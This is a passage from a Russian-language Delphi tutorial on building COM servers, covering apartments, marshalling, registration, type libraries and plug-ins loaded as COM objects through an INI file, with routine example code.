Получаем имя модуля с фильтром для выбранного расширения файла. Описания модулей хранятся в файле plugins.ini в секции [Filters] в виде строк формата:
<расширение> = <имя модуля>, например:

[Filters]
TXT=IpTXT.DLL
  try
    Ext := ExtractFileExt(FileName);
    Delete(Ext, 1, 1);
    with TIniFile.Create(ExtractFilePath(ParamStr(0)) + 'plugins.ini') do
    try
      PlugInName := ReadString('Filters', Ext, '');
    finally
      Free;
    end;

Далее, пытаемся загрузить модуль и найти в нем функцию CreateFilter

    hPlugIn := LoadLibrary(PChar(PluginName));
    try
      CreateFilter := GetProcAddress(hPlugIn, 'CreateFilter');
      if Assigned(CreateFilter) then begin

Функция найдена, создает экземпляр фильтра и инициализируем его. Поскольку внутренний API реализован тоже как интерфейс – нет необходимости сохранять ссылку на него.

        Filter := CreateFilter;
        try
          Filter.Init(FileName, TAPI.Create);

Загружаем данные при помощи созданного фильтра

          while Filter.GetNextLine(S) do
            Memo1.Lines.Add(S);

Перед выгрузкой DLL из памяти необходимо обязательно освободить ссылку на интерфейс Plug-In, иначе это произойдет по выходу из функции и вызовет Access Violation

        finally
          Filter := NIL;
        end;
      end else raise Exception.Create('Не могу загрузить фильтр');

Выгружаем DLL и обновляем TMemo

    finally
      FreeLibrary(hPlugIn);
    end;
  finally
    Memo1.Lines.EndUpdate;
  end;
end;

Таким образом, несложно реализовать модули расширения для загрузки данных из форматов, отличающихся от текстового и единообразно работать с ними.
Преимущества данного способа становятся особенно очевидными при реализации сложных модулей расширения, интерфейс с которыми состоит из многих методов.
! Поскольку в EXE и DLL используются длинные строки, не забудьте включить в список uses обоих проектов модуль ShareMem. Другим вариантом решения проблемы передачи строк является использование типа данных WideString. Для них распределением памяти занимается OLE, причем делает это независимо от модуля, из которого была создана строка.


COM-сервер, структура и использование

COM-сервер, структура и использование
Модель COM предоставляет возможность создания многократно используемых компонентов, независимых от языка программирования. Такие компоненты называются COM-серверами и представляют собой исполнимые файлы (EXE) или динамические библиотеки (DLL), специальным образом оформленные для обеспечения возможности их универсального вызова из любой программы, написанной на поддерживающем COM языке программирования. При этом COM сервер может выполняться как в адресном пространстве вызывающей программы (In-Proc сервер), так и в виде самостоятельного процесса (Out-Of-Proc сервер) или даже на другом компьютере (Distributed COM). COM автоматически разрешает вопросы, связанные с передачей параметров (Marshalling) и согласованием потоковых моделей клиента и сервера.
Далее будут рассмотрены некоторые архитектурные вопросы, знание которых необходимо для работы с COM.

COM-сервер
COM-сервер – это специальным образом оформленное и зарегистрированное приложение, которое позволяет клиентам запрашивать у себя создание реализованных в нем объектов. Сервер может быть выполнен в виде динамической библиотеки, либо исполнимого файла.

Сервер в виде DLL
Такой сервер всегда выполняется в адресном пространстве активизировавшего его приложения (In-Process). За счет этого, как правило, снижаются накладные расходы на вызов методов сервера. В то же время такой сервер менее надежен, поскольку его память не защищена от ошибок в вызывающем приложении. Кроме этого он не может выполняться на удаленной машине без исполнимого модуля-посредника, который бы создал процесс, в который может быть загружена DLL. Примером такого модуля может служить Microsoft Transaction Server.

Сервер в виде исполнимого файла
Этот сервер представляет собой обычный исполнимый файл Windows в котором реализована возможность создания COM-объектов по запросу других приложений. Примером такого сервера является пакет Microsoft Office, приложения которого являются COM-серверами.

Регистрация сервера
COM реализует механизм автоматического поиска серверов по запросу клиента. Каждый COM-объект имеет уникальный идентификатор, Class Identifier (CLSID). Windows ведет в реестре базу данных зарегистрированный объектов, индексированную при помощи CLSID. Она расположена в ветке реестра HKEY_CLASSES_ROOT\CLSID.

Для каждого сервера прописывается информация, необходимая для нахождения и загрузки его модуля. Таким образом, клиентское приложение не должно беспокоиться о поиске сервера, достаточно зарегистрировать его на компьютере и COM автоматически найдет и загрузит нужный модуль. Кроме этого, объект может зарегистрировать свое «дружественное» имя, или Programmatic Identifier (PROGID). Обычно оно формируется как комбинация имени сервера и имени объекта, например «Word.Application». Это имя содержит ссылку на CLSID объекта. Когда он создается с использованием PROGID – COM просто берет связанное с ним значение CLSID и получает из него всю необходимую информацию.
Серверы в виде EXE автоматически регистрируются при первом запуске программы на компьютере. Для регистрации серверов DLL служит программа Regsvr32, поставляемая в составе Windows, либо TRegSvr из поставки DELPHI.

Потоки и Комнаты
Windows – многозадачная и многопоточная среда с вытесняющей многозадачностью. Применительно к COM это обозначает, что клиент и сервер могут оказаться в различных процессах или потоках приложения, что к серверу могут обращаться множество клиентов, причем в непредсказуемые моменты времени. Технология COM решает эту проблему при помощи концепции комнат (Apartments), в которых и выполняются COM клиенты и серверы. Комнаты бывают однопоточные (Single Threaded Apartment, STA) и многопоточные (Multiple Threaded Apartment, MTA).

STA
При создании однопоточной «комнаты» COM неявно создает окно, и при вызове любого метода COM-сервера в этой «комнате» посылает этому окну сообщение при помощи функции PostMessage. Таким образом, организуется очередь вызовов методов и каждый из них обрабатывается только после того, как будут обработаны все предшествующие вызовы. Основные достоинства однопоточной «комнаты»:
1. Программист может не заботиться о синхронизации методов. Гарантируется, что до окончания выполнения текущего метода не будет вызван никакой другой метод объекта.
2. Программист может не заботиться о синхронизации доступа к полям класса, реализующего объект. Поскольку одновременно может выполняться только один метод – одновременный доступ к полю из двух методов невозможен.
В то же время, если приложение создало несколько потоков, в каждом из которых имеется STA – при доступе к глобальным разделяемым данным они должны использовать синхронизацию, например при помощи критических секций.
Недостатки STA напрямую вытекают из её реализации:
1. Дополнительные (и иногда излишние) затраты на синхронизацию при вызове методов.
2. Невозможность отклика на вызов метода, пока не исполнен предыдущий. Например, если в настоящее время выполняется метод, требующий одну минуту на исполнение – то до его завершения COM-объект будет недоступен.
Тем не менее, STA как правило является наиболее подходящим выбором для реализации COM-сервера. Использовать MTA есть смысл только в том случае, если STA не подходит для конкретного сервера.

MTA
Многопоточная «комната» не реализует автоматического сервиса по синхронизации и не имеет его ограничений. Внутри неё может быть создано сколько угодно потоков и объектов, причем каждый объект не привязан к какому-то конкретному потоку. Это означает, что любой метод объекта может быть вызван в любом из потоков в MTA. В это же самое время в другом потоке может быть вызван любой другой (либо тот же самый) метод COM-объекта по запросу другого клиента. COM автоматически ведет пул потоков внутри MTA и, при вызове со стороны клиента, находит свободный поток, и в нем вызывает метод требуемого объекта. Таким образом, даже если выполняется метод, требующий длительного времени – для другого клиента он может быть вызван без задержки в другом потоке. Очевидно, что COM-сервер, работающий в MTA обладает потенциально более высоким быстродействием и доступностью для клиентов, однако он значительно сложнее в разработке, поскольку даже локальные данные объектов не защищены от одновременного доступа и требуют синхронизации.

Передача интерфейсов и параметров
Таким образом, клиент и сервер COM могут выполняться как в одной «комнате», так и в разных, расположенных в различных процессах или даже на разных компьютерах. Встает вопрос – как же клиент может вызывать методы сервера, если они находятся в общем случае в другом адресном пространстве?
Эту работу берет на себя COM. Для доступа к серверу в другой «комнате» клиент должен запросить у COM создание в своей «комнате» представителя, реализующего запрошенный интерфейс. Такой представитель в терминах COM называется proxy и представляет собой объект, экспортирующий запрошенный интерфейс. Одновременно, COM создает в «комнате» сервера объект-заглушку, принимающий вызовы от proxy и транслирующий их в вызовы сервера. Таким образом, клиент в своей комнате может рассматривать proxy в качестве сервера и работать с ним так, как будто сервер создан в его «комнате». В то же время, сервер может рассматривать stub как расположенного с ним в одной «комнате» клиента. Всю работу по организации взаимодействия proxy и stub берет на себя COM. При вызове со стороны клиента Proxy получает от него параметры, упаковывает их во внутреннюю структуру и передает в комнату сервера. Stub получает параметры, распаковывает их и производит вызов метода сервера. Аналогично осуществляется передача параметров обратно. Этот процесс называется Marshalling. При этом «комнаты» клиента и сервера могут иметь разные потоковые модели и физически находиться где угодно. Разумеется, такой вызов вносит значительные накладные расходы, по сравнению с вызовом сервера в «своей» комнате, однако это единственный способ обеспечить корректную работу любых клиентов и серверов. Если необходимо избежать накладных расходов – сервер надо создавать в той же комнате, где расположен клиент.
Для обеспечения возможности корректного создания Proxy в клиентской комнате COM должен узнать «устройство» сервера. Сделать это можно двумя способами:
1. Реализовать на сервере интерфейс IMarshal и, при необходимости proxy-DLL, которая будет загружена на клиенте для реализации proxy. Подробности реализации описаны в документации COM и MSDN
2. Описать интерфейс на IDL (Interface Definition Language) и при помощи компилятора MIDL фирмы Microsoft сгенерировать proxy-stub DLL
3. Сделать сервер совместимым с Ole Automation. В этом случае COM сам создаст proxy, используя описание сервера из его библиотеки типов – специального двоичного ресурса, описывающего COM-интерфейс. При этом в интерфейсе можно использовать только типы данных, совместимые с Ole Automation.
4.
Инициализация COM
Каким же образом клиенты и серверы COM могут создавать комнаты в соответствии со своими требованиями? Для этого они должны соблюдать одно правило: каждый поток, который желает использовать COM должен создать комнату, при помощи вызова функции CoInitializeEx. Она объявлена в модуле ActiveX.pas следующим образом:

const
  COINIT_MULTITHREADED      = 0;  // OLE calls objects on any thread.
  COINIT_APARTMENTTHREADED  = 2;  // Apartment model

function CoInitializeEx(pvReserved: Pointer;
                        coInit: Longint): HResult; stdcall;

Параметр pvReserved зарезервирован для будущего использования и должен быть равен NIL, а параметр coInit определяет потоковую модель создаваемой комнаты. Он может принимать значения:
COINIT_APARTMENTTHREADED Для потока создается STA. Каждый поток может иметь (или не иметь) свою STA
COINIT_MULTITHREADED Если в текущем процессе еще не создана MTA – создается новая MTA, если она уже создана другим потоком – поток «подключается» к ранее созданной. Иными словами, каждый процесс может иметь только одну MTA
Функция возвращает S_OK в случае успешного создания комнаты.
По завершении работы с COM (или перед завершением работы) поток должен уничтожить «комнату» при помощи вызова процедуры CoUninitialize, также описанной в модуле ActiveX

procedure CoUninitialize; stdcall;

Каждый вызов CoInitializeEx должен иметь соответствующий вызов CoUninitialize, т.е. если Вы используете COM в приложении, вы должны вызвать CoInitializeEx до первого использования функций COM и CoUninitialize в перед завершением работы приложения. VCL реализует автоматическую инициализацию COM при использовании модуля ComObj. По умолчанию создается STA. Если Вы хотите использовать другую потоковую модель, Вы должны установить флаг инициализации COM до оператора Application.Initialize

program Project1;

uses
  Forms,
  ComObj,
  ActiveX,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

begin
  CoInitFlags := COINIT_MULTITHREADED;
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

Если COM используется в потоке, то эти функции должны быть вызваны в методе Execute

procedure TMyThread.Execute;
begin
  CoInitializeEx(NIL, COINIT_MULTITHREADED);
  …
  CoUninitialize
end;

Инициализация COM требуется также для вызова любых функций Windows API, связанных с COM, за исключением CoGetMalloc, CoTaskMemAlloc, CoTaskMemFree и CoTaskMemReAlloc.
Отдельного обсуждения заслуживает инициализация потоковой модели COM для сервера, расположенного в DLL. Дело в том, что DLL может быть загружена любым потоком, который уже ранее создал свою «комнату». Поэтому, сервер в DLL не может сам проинициализировать требуемую ему потоковую модель. Вместо этого, сервер при регистрации прописывает в реестре параметр «ThreadingModel», который и указывает – в какой потоковой модели способен работать данный сервер. При создании сервера COM анализирует значение этого параметра и потоковой модели «комнаты» запросившего создание сервера потока и при необходимости создает для сервера «комнату» с требуемой потоковой моделью.

Параметр ThreadingModel может принимать следующие значения:
Apartment Сервер может работать только в STA. Если он создается из STA, то он будет создан в «комнате» вызывающего потока, если из MTA – COM автоматически создаст для него «комнату» c STA и proxy в «комнате» клиента.
Free Сервер может работать только в MTA. Если он создается из MTA, то он будет создан в «комнате» вызывающего потока, если из STA – COM автоматически создаст для него «комнату» c MTA и proxy в «комнате» клиента.
Both Сервер может работать как в STA, так и MTA. Объект всегда создается в вызывающей комнате.
Если этот параметр не задан – сервер имеет потоковую модель Single. В этом случае он создается в Primary STA (т.е. в STA потока, который первым вызвал CoInitialize), даже если создание сервера запрошено из потока, имеющего свою отдельную STA.
Активация сервера
Для активации COM-сервера клиент должен вызвать функцию CreateComObject, описанную в модуле ComObj.pas
function CreateComObject(const ClassID: TGUID): IUnknown;
функция получает в качестве параметра CLSID требуемого объекта и возвращает ссылку на его интерфейс IUnknown. Далее клиент может запросить требуемый интерфейс и работать с ним.

var
  COMServer: IComServer;

…

  // Создаем COM объект и запрашиваем у него интерфейс
  ComServer := CreateComObject(IComServer) as IComServer;
  // Работаем с интерфейсои
  ComServer.DoSomething;
  // Освобождаем интерфейс
  ComServer := NIL;

Что же делает COM при запросе на создание сервера?
1. В реестре, по запрошенному CLSID, ищется запись регистрации сервера.
2. Из этой записи получается имя исполнимого модуля сервера.
3. Если это исполнимый файл – он запускается на выполнение. Любое приложение, реализующее COM-сервер при старте регистрирует в системе интерфейс «фабрики объектов». После запуска и регистрации COM получает ссылку на «фабрику объектов»
4. Если это DLL – она загружается в адресное пространство вызвавшего процесса и вызывается её функция DllGetClassObject, возвращающая ссылку на реализованную в DLL «фабрику объектов»
5. Фабрика объектов – это COM-сервер, реализующий интерфейс IClassFactory. Ключевым методом этого интерфейса является метод CreateInstance, который и создает экземпляр требуемого объекта.
6. COM вызывает метод CreateInstance и передает полученный интерфейс клиенту.
По завершении работы с COM-объектом клиент освобождает ссылку на него (что приводит к вызову метода Release). В этот момент COM-сервер проверяет, есть ли еще ссылки на созданные им объекты. Если все объекты освобождены, то COM-сервер завершает свою работу. В случае, если он реализован в виде DLL он должен экспортировать функцию DllCanUnloadNow, которая вызывается COM по таймеру или при вызове функции API CoFreeUnusedLibraries. Если все объекты из этой DLL освобождены, то она выгружается из памяти.
Вся работа по созданию и регистрации фабрики объектов и экспорту соответствующих функций из DLL в Delphi уже реализована в составе стандартных библиотек и создание COM-сервера в действительности является очень простой задачей.


Создание COM-сервера

Для создания COM-сервера Delphi предоставляет широкий набор мастеров, автоматизирующих выполнение рутинных задач и позволяющих программисту сконцентрироваться на реализации функциональности. Мастера доступны при помощи команды меню File->New, на закладке ActiveX

Чтобы сделать COM-сервером EXE-файл, Вы должны просто добавить в него модуль с COM-объектом. Для создания COM-сервера в виде DLL Вы должны сначала создать библиотеку, оформленную с учетом требований COM. Это делается при помощи мастера «ActiveX Library». При его выборе будет создан новый проект, реализующий DLL и сгенерирован следующий код:

library Project1;

uses
  ComServ;

exports
  DllGetClassObject,
  DllCanUnloadNow,
  DllRegisterServer,
  DllUnregisterServer;

{$R *.RES}

begin
end.

Созданная DLL экспортирует функции, необходимые для работы COM и Вы можете не заботиться о рутинной работе и сразу приступить к реализации COM-сервера.Для этого выберите мастер «COM-объект».
От заполнения полей этой формы зависит реализация создаваемого COM-объекта
ClassName Имя класса Delphi, реализующего COM-сервер. Мастер создаст заготовку класса с этим именем. Под этим же именем COM-сервер будет зарегистрирован в реестре.
Instansing Определяет режим создания COM-объектов. Параметр может принимать следующие значения: Internal Объект может использоваться только внутри этого приложения. Single Instance Создание каждого экземпляра объекта приводит к запуску нового экземпляра приложения-сервера. После создания объекта «фабрика объектов» приложения удаляет информацию о себе из системного списка зарегистрированных фабрик, что заставляет COM при создании нового объекта запустить приложение сервер в новом процессе Multiple Instance После создания экземпляра объекта «фабрика» не удаляет себя из списка зарегистрированных. При создании запросе на создание нового объекта COM обнаружит её в этом списке и запросит создание у той же фабрики и новый экземпляр объекта будет создан в том же приложении. Другими словами для создания всех объектов данного типа будт запущено не более одного экземпляра сервера. Этот параметр имеет смысл только для EXE-серверов, для DLL он игнорируется.

Threading Model Потоковая модель сервера. Действие этого параметра зависит от типа сервера (EXE или DLL) Single Нет никакой поддержки потоков. Для DLL-сервера при регистрации не будет создан параметр ThreadingModel Для EXE-сервера указание этого параметра (в отличие от любого другого) не приведет к установке флага IsMultiThread, будет создана STA. Обычно эта модель используется для Internal серверов Apartment Для DLL сервера в реестре будет создан параметр ThreadingModel= Apartment, для EXE – создана STA Free Для DLL сервера в реестре будет создан параметр ThreadingModel= Free, для EXE – создана MTA Both Для DLL сервера в реестре будет создан параметр ThreadingModel= Both, для EXE – создана MTA

Include Type Library Установка этого флажка приводит к включению в сервер библиотеки типов – специального двоичного ресурса, описывающего реализуемые сервером интерфейсы, их методы и параметры вызова. COM предоставляет стандартные средства работы с библиотеками типов. В частности, Delphi может импортировать имеющуюся в сервере библиотеку типов и автоматически построить по ней интерфейсный модуль для работы с ним. При использовании библиотеки типов интерфейсы описываются при помощи Type Library Editor. Объект наследуется от TTypedComObject Если этот флажок выключен, то объект наследуется от TComObject. Это более легковесная реализация сервера.

Implemented Interfaces Это поле разрешено, только если объект не использует библиотеку типов. В этом случае Вы должны сами описать интерфейсы в коде своей программы и перечислить их в этом поле, например «ITest, IAnotherTest»

Mark interface Oleautomation Установка этого флага делает COM-сервер совместимым с OLE Automation. Вы должны использовать в методах интерфейса только совместимые с OLE Automation типы данных. Это необходимо, если Вы хотите передавать ссылку на интерфейс между разными «комнатами». Такая операция, называемая маршаллингом интерфейсов требует написания специальной proxy/stub DLL. Однако, если интерфейс помечен как Oleautomation эту работу выполняет маршаллер OLE и Вы будете избавлены от лишней работы.
! Для поддержки Oleautomation маршаллинга необходимо, чтобы:
· сервер был унаследован от TTypedComObject (реализация IDispatch не обязательна)
· все методы интерфейса должны быть объявлены как safecall. Если Вы создаете интерфейс унаследованный от IUnknown, то по умолчанию все его методы объявляются как stdcall. Чтобы создать safecall методы необходимо в диалоге Tools->Environment Options на закладке Type Library установить переключатель Safecall function mapping в значение All v-table interfaces

Сервер без библиотеки типов
Такой сервер, если он не реализует интерфейс IMarshall, может работать только в одной «комнате» с клиентом, поэтому его следует использовать только для In-Process серверов с потоковой моделью идентичной клиенту.
При создании сервера, не включающего библиотеку типов Вы должны указать мастеру реализуемые им интерфейсы. Укажем имя интерфейса ITest. По завершении работы мастера будет создан следующий модуль:

unit Unit1;

interface

uses
  Windows, ActiveX, Classes, ComObj;

type
  TTest = class(TComObject, ITest)
  protected
  end;

const
  Class_Test: TGUID = '{1302FB00-703F-11D4-84DD-825B45DBA617}';

implementation

uses ComServ;

initialization
  TComObjectFactory.Create(ComServer, TTest, Class_Test,
    'Test', '', ciMultiInstance, tmApartment);
end.

! Если Вы создаете COM-сервер, который может использоваться различными клиентами (а не только в рамках конкретного проекта, в котором спецификации клиентов жестко заданы) не рекомендуется делать серверы без поддержки маршаллинга данных, поскольку в этом случае невозможно обеспечить гарантированное нахождение его в одной «комнате» с клиентом. Если вы все же делаете такой сервер – необходимо отразить требуемые спецификации клиента в документации на него.
Посмотрим на сгенерированный код подробнее. Особый интерес вызывает секция Initialization. В ней создается экземпляр «фабрики объектов» - COM-сервера, реализующего интерфейс IClassFactory2. К нему COM будет обращаться для создания экземпляра объекта Test. VCL автоматически реализует всю рутинную работу по взаимодействию с COM.
Для реализации сервера требуется написать интерфейсный модуль с описанием реализуемого интерфейса. Кроме этого, вынесем в него описание константы Class_Test и добавим его в строку uses модуля Unit1

unit TestInterface;

interface

const
  Class_Test: TGUID = '{1302FB00-703F-11D4-84DD-825B45DBA617}';

type
  ITest = interface
  ['{1C986802-6D6D-11D4-84DD-996A491CE716}']
    procedure ShowIt(S: String);
  end;

implementation

end.

Этот модуль содержит всю необходимую информацию для использования сервера и должен использоваться при компиляции клиента.
Дополним код COM-объекта реализацией методов реализуемого интерфейса:

unit Unit1;

interface

uses
  Windows, ActiveX, Classes, ComObj, TestInterface;

type
  TTest = class(TComObject, ITest)
  protected
    procedure ShowIt(S: String);
  end;

implementation

uses ComServ;

{ TTest }

procedure TTest.ShowIt(S: String);
begin
  MessageBox(0, PChar(S), NIL, 0);
end;

initialization
  TComObjectFactory.Create(ComServer, TTest, Class_Test,
    'Test', '', ciMultiInstance, tmApartment);
end.

Откомпилировав проект, мы получим файл Project1.dll
Последним шагом является регистрация COM-сервера.
Введем в командной строке: «regsvr32 project1.dll»
Если все было проделано правильно, на экране должно появиться сообщение об успешной регистрации: «DllRegisterServer in Project1.dll succeeded».
Можно приступать к написанию клиента. Для этого создадим новый проект, добавим в модуль с его главной формой строку uses TestInterface и напишем следующий код:

uses TestInterface, ComObj;

procedure TForm1.Button1Click(Sender: TObject);
var
  Test: ITest;
begin
  Test := CreateComObject(Class_Test) as ITest;
  Test.ShowIt('Hi');
end;

Как видно из этого примера создание и использование COM-сервера не сложнее, чем работа с обычными классами Delphi. Сервер без библиотеки типов является хорошим выбором для реализации COM-серверов, используемых внутри проекта, поскольку для его использования нужен интерфейсный модуль. При передаче сервера другим разработчикам Вам придется передать им этот модуль и, при необходимости, перевести его на другой язык (например, С).

Сервер с библиотекой типов
Библиотека типов – это специальный двоичный ресурс, описывающий интерфейсы и методы, реализуемые COM-сервером. Кроме наличия библиотеки типов сервер должен поддерживать интерфейс IProvideClassInfo. В Delphi такой сервер реализуется путем наследования его от TTypedComObject. Для этого оставьте флажок Include Type Library в мастере создания COM-объекта включенным.
Создадим COM-сервер в виде EXE (разумеется, он может быть также создан и виде DLL).
Сначала создадим новый проект (File-New Application), а затем добавим в него COM-объект.
Если не отключать флажок Include Type Library, то мастер создаст уже не один, а два модуля. Первый из них напоминает созданный ранее.

unit Unit1;

interface

uses
  Windows, ActiveX, Classes, ComObj, Project1_TLB, StdVcl;

type
  TTest1 = class(TTypedComObject, ITest1)
  protected
    {Declare ITest1 methods here}
  end;

implementation

uses ComServ;

initialization
  TTypedComObjectFactory.Create(ComServer, TTest1, Class_Test1,
    ciMultiInstance, tmApartment);
end.

Наиболее интересна строка: uses … Project1_TLB. Это автоматически сгенерированный интерфейсный модуль к нашему COM-объекту (аналогично TestInterface.pas в предыдущем примере). Он содержит описание всех необходимых для работы с сервером интерфейсов. В отличие от пердыдущего примера Вы не должны редактировать его вручную. Для этого Delphi откроет редактор библиотеки типов

Это специализированный редактор для описания интерфейсов COM-объектов. Вы должны описать все требуемые интерфейсы, методы и т.п. в этом редакторе, после чего можно нажать кнопку «обновить» и изменения будут автоматически внесены во все требуемые модули. Вам останется лишь дописать реализацию методов.
Добавим описание нового метода. Для этого щелкнем правой кнопкой на интерфейсе ITest и выберем в контекстном меню New->Method. Введем имя метода «ShowIt».

На закладке Parameters зададим параметр S и тип BSTR. После этого нажмем кнопку обновить и посмотрим, что случилось с исходными текстами нашей программы. В модуле Project1_TLB в описании интерфейса ITest1 появился метод ShowIt

  ITest1 = interface(IUnknown)
    ['{1302FB06-703F-11D4-84DD-825B45DBA617}']
    function ShowIt(const S: WideString): HResult; stdcall;
  end;

А в модуле Unit1:

type
  TTest1 = class(TTypedComObject, ITest1)
  protected
    function ShowIt(const S: WideString): HResult; stdcall;
  end;

implementation

uses ComServ;

function TTest1.ShowIt(const S: WideString): HResult;
begin

end;

Нам остается лишь написать реализацию метода:

function TTest1.ShowIt(const S: WideString): HResult;
 begin
  MessageBoxW(0, PWideChar(S), NIL, 0)
  Result := S_OK; // Стандартный код успешного завершения
end;

Для регистрации сервера достаточно один раз запустить его на компьютере клиента.


Создание приложения клиента

Перейдем к написанию приложения клиента. Если у нас есть модуль Project_TLB, то оно ничем не будет отличаться от предыдущего примера. Более интересен случай, когда мы имеем только исполнимый файл с сервером. Зарегистрируем этот сервер и выберем в меню Delphi IDE команду Project -> Import Type Library
В открывшемся окне найдем строку с описанием библиотеки типов требуемого сервера:

Если включен флажок Generate Component Wrappers, то в импортированный модуль будет добавлен код для создания компонента Delphi, который можно бросить на форму и он автоматически создаст требуемый COM-сервер и позволит обращаться к его методам. В противном случае будет сгенерирован модуль, содержащий описание всех имеющихся в библиотеке типов интерфейсов.
Далее Вы должны определить, что Вы собираетесь сделать с выбранной библиотекой
Install Создает модуль с описанием интерфейсов и автоматически регистрирует требуемые компоненты в IDE. После этого Вам остается лишь бросить их на форму.
Create Unit Создает интерфейсный модуль, но не устанавливает его в IDE. Это удобно, если Вам нужны только описания интерфейсов, либо если Вы хотите вручную установить его в package, отличающуюся от используемой по умолчанию
Таким образом, для распространения и использования сервера не нужно ничего, кроме его исполнимого модуля. Но самое главное даже не это. Гораздо более важно, что Вы можете импортировать и использовать в своей программе любой из имеющихся на компьютере COM-серверов. Естественно, что при передаче своей программы клиенту Вы должны установить на его компьютере соответствующий COM-сервер.

Для примера, используем в своем приложении процессор регулярных выражений VBScript. Импортируем библиотеку типов «Microsoft VBScript Regular Expressions»
При этом будет создан файл VBScript_RegExp_TLB.pas
Создадим форму и добавим следующий код для проверки вхождения текста в Exit1 в текст Edit2:

uses
  VBScript_RegExp_TLB;

procedure TForm1.Button1Click(Sender: TObject);
var
  RE: IRegExp;
begin
  RE := CoRegExp.Create;
  RE.Pattern := Edit1.Text;
  if RE.Test(Edit2.Text) then
    Caption := 'TRUE'
  else
    Caption := 'FALSE';
end;

Это все! Мы получили в своем приложении поддержку регулярных выражений такую же, которая включена в скриптовые языки Microsoft (VBScript и JScript).


Создание Plug-In в виде COM-Сервера

Попробуем теперь реализовать Plug-In к своей программе, в виде COM-сервера и сравним код, полученный в этом случае с кодом, полученным при «ручном» программировании. В начале создадим модуль с описанием интерфейсов:

unit PluginInterface;

interface

const
  Class_TAPI: TGUID = '{A132D1A1-721C-11D4-84DD-E2DEF6359A17}';

type
  IAPI = interface
  ['{64CFF1E0-61A3-11D4-84DD-B18D6F94141F}']
    procedure ShowMessage(const S: String);
  end;

  ILoadFilter = interface
  ['{64CFF1E1-61A3-11D4-84DD-B18D6F94141F}']
    procedure Init(const FileName: String);
    function GetNextLine(var S: String): Boolean;
  end;

implementation

end.

Обратите внимание, что метод ILoadFilter.Init больше не получает ссылки на внутренний API программы – он будет реализован в виде COM-объекта.
Создадим DLL c COM-сервером, реализующим ILoadFilter. Для этого создадим новую ActiveX library и добавим в неё COM-объект TLoadFilter. Установим ThreadingModel в Single, поскольку использования сервера в потоках не предполагается. После этого реализуем методы интерфейса ILoadFilter.

unit Unit3;

interface

uses
  Windows, ActiveX, Classes, ComObj, PluginInterface;

type
  TLoadFilter = class(TComObject, ILoadFilter)
  private
    FAPI: IAPI;
    F: TextFile;
    Lines: Integer;
    InitSuccess: Boolean;
   protected
    procedure Init(const FileName: String);
    function GetNextLine(var S: String): Boolean;
  public
    destructor Destroy; override;
  end;

const
  Class_LoadFilter: TGUID = '{A132D1A2-721C-11D4-84DD-E2DEF6359A17}';

implementation

uses ComServ, SysUtils;

Деструктор и метод GetNextLine аналогичны предыдущему примеру:

destructor TLoadFilter.Destroy;
begin
  if InitSuccess then
    CloseFile(F);
  inherited;
end;

function TLoadFilter.GetNextLine(var S: String): Boolean;
begin
  if InitSuccess then begin
    Inc(Lines);
    Result := not Eof(F);
    if Result then begin
      Readln(F, S);
      FAPI.ShowMessage('Загружено ' + IntToStr(Lines) + ' строк.');
    end;
  end else
    Result := FALSE;
end;

В методе Init имеется существенное отличие – теперь ссылку на внутреннее API программы мы получаем при помощи COM. Это освобождает нас от необходимости передавать ссылку в модуль расширения.

procedure TLoadFilter.Init(const FileName: String);
begin
  FAPI := CreateComObject(Class_TAPI) as IAPI;
  {$I-}
  AssignFile(F, FileName);
  Reset(F);
  {$I+}
  InitSuccess := IOResult = 0;
  if not InitSuccess then
    FAPI.ShowMessage('Ошибка инициализации загрузки');
end;

В конце модуля код, автоматически сгенерированный Delphi для создания фабрики объектов

initialization
  TComObjectFactory.Create(ComServer, TLoadFilter, Class_LoadFilter,
    'LoadFilter', '', ciMultiInstance, tmSingle);
end.

Компилируем DLL и регистрируем её при помощи regsvr32.
Поскольку программа может поддерживать множество различных фильтров, организуем их подключение через INI файл следующего вида:

[Filters]
TXT={A132D1A2-721C-11D4-84DD-E2DEF6359A17}

Параметром строки служит CLSID сервера, реализующего фильтр. В нашем случае это будет содержание константы Class_LoadFilter. Для подключения дополнительных фильтров необходимо создать DLL с сервером, реализующим ILoadFilter, зарегистрировать её в системе и добавить CLSID сервера в INI-файл.
Теперь можно приступать к написанию программы-клиента. Она аналогична используемой в предыдущем примере. Добавим в неё COM-сервер, реализующий внутреннее API.
За исключением кода, сгенерированного COM объект полностью аналогичен объекту, приведенному ранее. Константу Class_TAPI вынесем в модуль PluginInterface, чтобы сделать её доступной для модулей расширения.

unit Unit2;

interface

uses
  Windows, ActiveX, Classes, ComObj, PluginInterface;

type
  TTAPI = class(TComObject, IAPI)
  protected
    procedure ShowMessage(const S: String);
  end;

implementation

uses Forms, ComServ, Unit1;

{ TTAPI }

procedure TTAPI.ShowMessage(const S: String);
begin
  (Application.MainForm as TForm1).StatusBar1.SimpleText := S;
end;

initialization
  TComObjectFactory.Create(ComServer, TTAPI, Class_TAPI,
    'TAPI', '', ciMultiInstance, tmSingle);
end.

Теперь все готово к реализации функциональности клиента. Для экономии места приведем лишь метод LoadData

procedure TForm1.LoadData(FileName: String);
var
  PlugInName: String;
  Filter: ILoadFilter;
  S, Ext: String;
begin
  Memo1.Lines.Clear;
  Memo1.Lines.BeginUpdate;
  try
    Ext := ExtractFileExt(FileName);
    Delete(Ext, 1, 1);
    with TIniFile.Create(ExtractFilePath(ParamStr(0)) + 'plugins.ini') do
    try
      PlugInName := ReadString('Filters', Ext, '');
    finally
      Free;
    end;
    Filter := CreateComObject(StringToGUID(PlugInName)) as ILoadFilter;
    Filter.Init(FileName);
    while Filter.GetNextLine(S) do
      Memo1.Lines.Add(S);
  finally
    Memo1.Lines.EndUpdate;
  end;
end;

Очевидно, что код метода стал гораздо короче и читабельнее. COM взял на себя всю черновую работу по поиску загрузке и выгрузке DLL, поиску и созданию объектов.
! Поскольку в EXE и DLL используются длинные строки, не забудьте включить в список uses обоих проектов модуль ShareMem


Автоматическая регистрация серверов из своей программы

Удобно в своей программе автоматически регистрировать все необходимые серверы. Это можно сделать при помощи следующей процедуры:

procedure CheckComServerInstalled(const CLSID: TGUID; const DllName: String);
var
  Size: Integer;
  DllHandle: THandle;
  FileName: String;
begin
  Size := MAX_PATH;
  SetLength(FileName, Size);
  try
    if RegQueryValue(HKEY_CLASSES_ROOT,
         PChar(Format('CLSID\%s\InProcServer32',
        [GUIDToString(CLSID)])), PChar(FileName), Size) = ERROR_SUCCESS then
    begin
      SetLength(FileName, Size);
      DllHandle := LoadLibrary(PChar(FileName));
      FreeLibrary(DllHandle);
